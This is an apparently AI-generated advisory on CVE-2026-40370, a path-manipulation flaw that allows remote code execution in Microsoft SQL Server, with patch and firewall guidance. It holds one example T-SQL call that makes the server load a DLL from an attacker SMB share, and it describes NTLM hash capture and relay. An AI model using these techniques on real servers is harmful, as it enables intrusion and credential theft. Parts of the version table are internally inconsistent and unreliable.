CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-40370
8.80.07%

CVE-2026-40370: Authenticated Remote Code Execution in Microsoft SQL Server via Path Manipulation

Alon Barad
Alon Barad
Software Engineer

May 20, 2026·6 min read·3 visits

No Known Exploit

Executive Summary (TL;DR)

A path manipulation flaw (CWE-73) in Microsoft SQL Server allows authenticated, low-privileged users to achieve Remote Code Execution (RCE) via crafted UNC paths or path traversal techniques.

CVE-2026-40370 is a high-severity Remote Code Execution (RCE) vulnerability affecting Microsoft SQL Server versions 2016 through 2025. It stems from improper path validation (CWE-73) in internal stored procedures, allowing an authenticated user with low privileges to execute arbitrary code within the context of the SQL Server service account.

Vulnerability Overview

CVE-2026-40370 is a critical security flaw identified in Microsoft SQL Server, spanning multiple major releases from 2016 to 2025. The vulnerability facilitates Remote Code Execution (RCE) by authenticated threat actors possessing low-level access privileges. The issue resides within the database engine's handling of file paths supplied as parameters to various internal functions and stored procedures.

The core of the vulnerability is classified under CWE-73 (External Control of File Name or Path). SQL Server provides several mechanisms for interacting with the underlying file system, typically intended for administrative tasks such as backup operations, bulk data imports, or external script execution. When these interfaces fail to sanitize input boundaries, they expose a direct vector for manipulating server-side file operations.

Exploitation of this flaw allows an attacker to dictate the exact file path the SQL Server process will attempt to read, write, or execute. Because the database engine typically runs under a dedicated, highly privileged service account, successful manipulation results in code execution with those elevated permissions, leading to total compromise of the database environment.

Root Cause Analysis

The vulnerability materializes when SQL Server processes external input intended for file system operations without applying strict boundary validation or canonicalization. Specific built-in stored procedures or bulk operation functions accept a string parameter representing a file path. The underlying C++ implementation in the SQL Server engine passes this string to Windows API functions without verifying its structural integrity or destination.

This lack of validation permits two distinct path manipulation strategies. First, an attacker can utilize directory traversal sequences to escape intended working directories, potentially overwriting sensitive configuration files or loading malicious libraries from predictable locations. Second, the engine implicitly supports Universal Naming Convention (UNC) paths, which instruct the operating system to resolve the path over the network rather than the local disk.

When a UNC path is provided, the Windows SMB client initiates a network connection to the specified remote host. If the operation involves loading a dynamic-link library or executing a binary, the SQL Server process retrieves the executable payload from the attacker-controlled SMB share and maps it into its own memory space. The root cause is the failure to explicitly block or filter UNC path formats and directory traversal characters at the parameter ingestion phase.

Code Execution Flow and T-SQL Interface

While Microsoft SQL Server is a closed-source application, the vulnerability can be modeled by analyzing the Transact-SQL (T-SQL) attack surface and the underlying Windows API interactions. The flaw is triggered when an attacker invokes a vulnerable procedure and supplies a maliciously crafted parameter.

-- Conceptual representation of the vulnerable T-SQL invocation
-- The attacker supplies a UNC path pointing to an external SMB share
EXEC sys.sp_vulnerable_data_operation 
    @FilePath = '\\192.168.1.50\public\malicious_payload.dll',
    @Action = 'LOAD';

In the vulnerable state, the SQL Server engine extracts the @FilePath variable and executes an internal routine analogous to the LoadLibraryExW Windows API. The operating system resolves the \\192.168.1.50\public share, authenticates using the context of the SQL Server service account, downloads malicious_payload.dll, and executes its entry point (DllMain).

The patched versions introduce strict parameter validation prior to executing file system operations. The remediation logic canonicalizes the input path and verifies it against an authorized list of safe directories (such as the default SQL Server backup or data folders). Furthermore, the update explicitly blocks paths commencing with \\ or containing ..\, terminating the procedure with an error before any network or file handles are opened.

Exploitation Methodology

Exploitation of CVE-2026-40370 requires the attacker to possess network connectivity to the SQL Server instance and valid authentication credentials. The prerequisite privilege level is low (PR:L), meaning any standard database user account is sufficient to initiate the attack sequence. No user interaction (UI:N) is required from administrators.

The primary attack vector involves standing up an external, attacker-controlled SMB server hosting the exploitation payload. The attacker logs into the SQL Server environment via standard client tools or an existing application proxy and executes the vulnerable stored procedure. The provided argument points directly to the external SMB share.

Upon execution, the SQL Server service attempts to interact with the specified file. If the payload is an executable or a DLL, it is executed natively. Alternatively, if the file interaction only triggers a read/write operation, the attacker can leverage the outbound SMB connection to capture the NetNTLMv2 hash of the SQL Server service account. This hash can subsequently be cracked offline or relayed to other internal services to achieve lateral movement across the domain.

Impact Assessment

The impact of CVE-2026-40370 is severe, directly compromising the Confidentiality, Integrity, and Availability (C:H/I:H/A:H) of the host system. Successful exploitation grants the attacker arbitrary code execution privileges matching the SQL Server service account. In typical enterprise deployments, this account operates as NT Service\MSSQLSERVER or a highly privileged Active Directory domain account.

Code execution at this level allows the attacker to bypass database-level access controls completely. The threat actor can directly access the physical database files (.mdf, .ldf), extract sensitive information, modify financial or user data without generating standard database audit logs, or permanently destroy the data. The scope remains unchanged (S:U), as the direct compromise is limited to the host running the SQL instance, though the resultant access is absolute.

Beyond the database, the compromised server serves as a powerful pivot point within the internal network. The attacker can deploy post-exploitation frameworks, initiate network discovery scanning, and target adjacent infrastructure. The outbound SMB connection inherent to the vulnerability also introduces the risk of immediate credential theft via NTLM relay attacks.

Mitigation and Remediation Guidance

Immediate application of the official Microsoft Security Updates is the primary remediation strategy. Microsoft released specific Knowledge Base (KB) articles for all supported SQL Server versions on May 12, 2026. Administrators must identify their specific branch and Cumulative Update (CU) or General Distribution Release (GDR) level to apply the correct patch (e.g., KB5089270 for SQL Server 2016 SP3, KB5089899 for SQL Server 2025).

In environments where immediate patching is unfeasible, administrators should implement stringent network-level workarounds. Configuring host-based firewalls (Windows Defender Firewall) or network perimeter firewalls to block outbound SMB traffic (TCP ports 139 and 445) from the SQL Server instances prevents the primary UNC path exploitation vector. This restricts the database engine from initiating connections to external, unauthenticated shares.

Furthermore, organizations must enforce the Principle of Least Privilege across all database environments. Routine audits should verify that standard users do not possess unnecessary EXECUTE permissions on extended stored procedures or bulk data operations. Restricting the file system permissions of the SQL Server service account can also limit the damage of successful local path traversal, preventing the overwriting of critical system files.

Official Patches

MicrosoftMicrosoft Support KB5089270 for SQL Server 2016 SP3
MicrosoftMicrosoft Support KB5089899 for SQL Server 2025

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
EPSS Probability
0.07%
Top 79% most exploited

Affected Systems

Microsoft SQL Server 2016Microsoft SQL Server 2017Microsoft SQL Server 2019Microsoft SQL Server 2022Microsoft SQL Server 2025

Affected Versions Detail

Product
Affected Versions
Fixed Version
Microsoft SQL Server 2016 SP3 (GDR)
Microsoft
13.0.0 < 13.0.6490.113.0.6490.1
Microsoft SQL Server 2016 SP3 Azure Connect
Microsoft
13.0.0 < 13.0.7085.113.0.7085.1
Microsoft SQL Server 2017 (CU 31)
Microsoft
14.0.0 < 14.0.3530.214.0.3530.2
Microsoft SQL Server 2017 (GDR)
Microsoft
14.0.0 < 14.0.2110.214.0.2110.2
Microsoft SQL Server 2019 (CU 32)
Microsoft
15.0.0.0 < 15.0.4470.115.0.4470.1
Microsoft SQL Server 2019 (GDR)
Microsoft
15.0.0 < 15.0.2170.115.0.2170.1
Microsoft SQL Server 2022 (GDR)
Microsoft
16.0.0 < 16.0.1180.116.0.1180.1
Microsoft SQL Server 2022 (CU 24)
Microsoft
16.0.0.0 < 16.0.4252.316.0.4252.3
Microsoft SQL Server 2025 (CU 4)
Microsoft
17.0.4040.1 < 17.0.4040.117.0.4040.1
Microsoft SQL Server 2025 (GDR)
Microsoft
17.0.1050.2 < 17.0.1115.117.0.1115.1
AttributeDetail
CWE IDCWE-73
Attack VectorNetwork
CVSS v3.1 Score8.8
EPSS Score0.00069 (0.07%)
Exploit StatusUnexploited / No Public PoC
Authentication RequiredLow Privileges (PR:L)
Primary ImpactRemote Code Execution

MITRE ATT&CK Mapping

T1210Exploitation of Remote Services
Lateral Movement
T1059Command and Scripting Interpreter
Execution
T1083File and Directory Discovery
Discovery
T1190Exploit Public-Facing Application
Initial Access
CWE-73
External Control of File Name or Path

The software allows user input to control or influence paths or file names that are used in filesystem operations.

Vulnerability Timeline

Vulnerability publicly disclosed by Microsoft during Patch Tuesday.
2026-05-12
NVD and CVE.org records published.
2026-05-12
Security vendors publish analysis and detection plugins.
2026-05-13
EPSS score updated; vulnerability remains out of CISA KEV (no known exploitation).
2026-05-20

References & Sources

  • [1]Microsoft Security Response Center (MSRC) Advisory for CVE-2026-40370
  • [2]CVE.org Record for CVE-2026-40370
  • [3]Tenable Nessus Plugin 314668
  • [4]SANS Internet Storm Center: Microsoft May 2026 Patch Tuesday

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.